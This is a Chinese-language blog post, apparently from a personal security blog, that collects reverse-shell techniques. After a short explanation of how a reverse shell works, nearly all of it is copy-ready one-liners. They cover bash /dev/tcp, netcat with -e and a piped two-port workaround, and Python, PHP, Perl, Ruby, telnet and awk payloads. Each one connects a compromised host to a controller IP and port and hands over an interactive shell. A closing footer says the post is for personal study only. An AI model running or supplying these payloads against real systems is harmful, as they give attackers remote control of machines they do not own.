反弹SHELL的各种利用姿势

反弹SHELL的原理

远程系统(通常是我们自己的监听机,具备独立外网IP地址,或者是被控机可以直接访问的机器)监听一个TCP/UDP端口,本地系统(被控机)运行反弹shell,反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。

bash反弹SHELL

监听机通过netcat监听一个端口,例如我们这里监听7777端口

nc -lvp 7777

被控机通过bash连接监听机的端口

bash -i 1> /dev/tcp/控制端ip/7777 0>&1 2>&1 



NC反弹SHELL

监听机监听一个端口

nc -lvp 7777

被控机通过netcat连接监听机

被控端:nc 控制端ip 控制端端口 -e /bin/bash 2>&1>/dev/null &

但是这里有一个问题,原生apt安装的netcat是不能添加-e参数的,需要我们自己上传二进制,我们可以利用下面的方法解决这个问题。

监听机开两个监听,分别监听6666 和 7777 端口

nc -lvp 6666
nc -lvp 7777

被控端

nc 控制端ip 6666 | /bin/bash | nc 控制端ip 7777



python反弹SHELL

控制端:nc -lvvp 端口
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端ip",控制端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'



PHP反弹SHELL

控制端:nc -lvvp 端口
被控端:php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'



perl反弹SHELL

控制端:nc -lvvp 端口
被控端:perl -e 'use Socket;$i="控制端ip";$p=控制端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'



ruby反弹SHELL

控制端:nc -lvvp 端口
被控端:ruby -r socket -e 'exit if fork;c=TCPSocket.new("控制端ip","控制端端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'



telnet反弹SHELL

控制端:nc -lvvp 端口
被控端:mknod backpipe p && telnet 控制端ip 控制端端口 0<backpipe | /bin/bash 1>backpipe



awk反弹SHELL

控制端:nc -lvvp 端口
被控端:awk 'BEGIN{s="/inet/tcp/0/控制端ip/控制端端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
本文著作权归作者 [ eson ] 享有,未经作者书面授权,禁止转载,封面图片来源于 [ 互联网 ] ,本文仅供个人学习、研究和欣赏使用。如有异议,请联系博主及时处理。

发表留言